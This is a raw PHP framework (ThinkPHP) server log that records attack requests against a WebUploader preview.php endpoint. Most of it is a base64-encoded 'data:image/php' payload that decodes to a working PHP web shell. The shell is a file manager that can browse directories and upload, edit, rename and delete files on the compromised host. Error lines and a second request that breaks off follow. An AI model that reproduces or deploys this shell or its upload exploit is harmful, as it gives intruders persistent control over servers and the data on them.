/data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Theme', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:27+08:00 ] 119.42.146.234 POST 59.110.137.245/viagraedit/webuploader/0.1.15/server/preview.php [运行时间:0.002794s] [吞吐率:357.91req/s] [内存消耗:196.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'viagraedit', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, 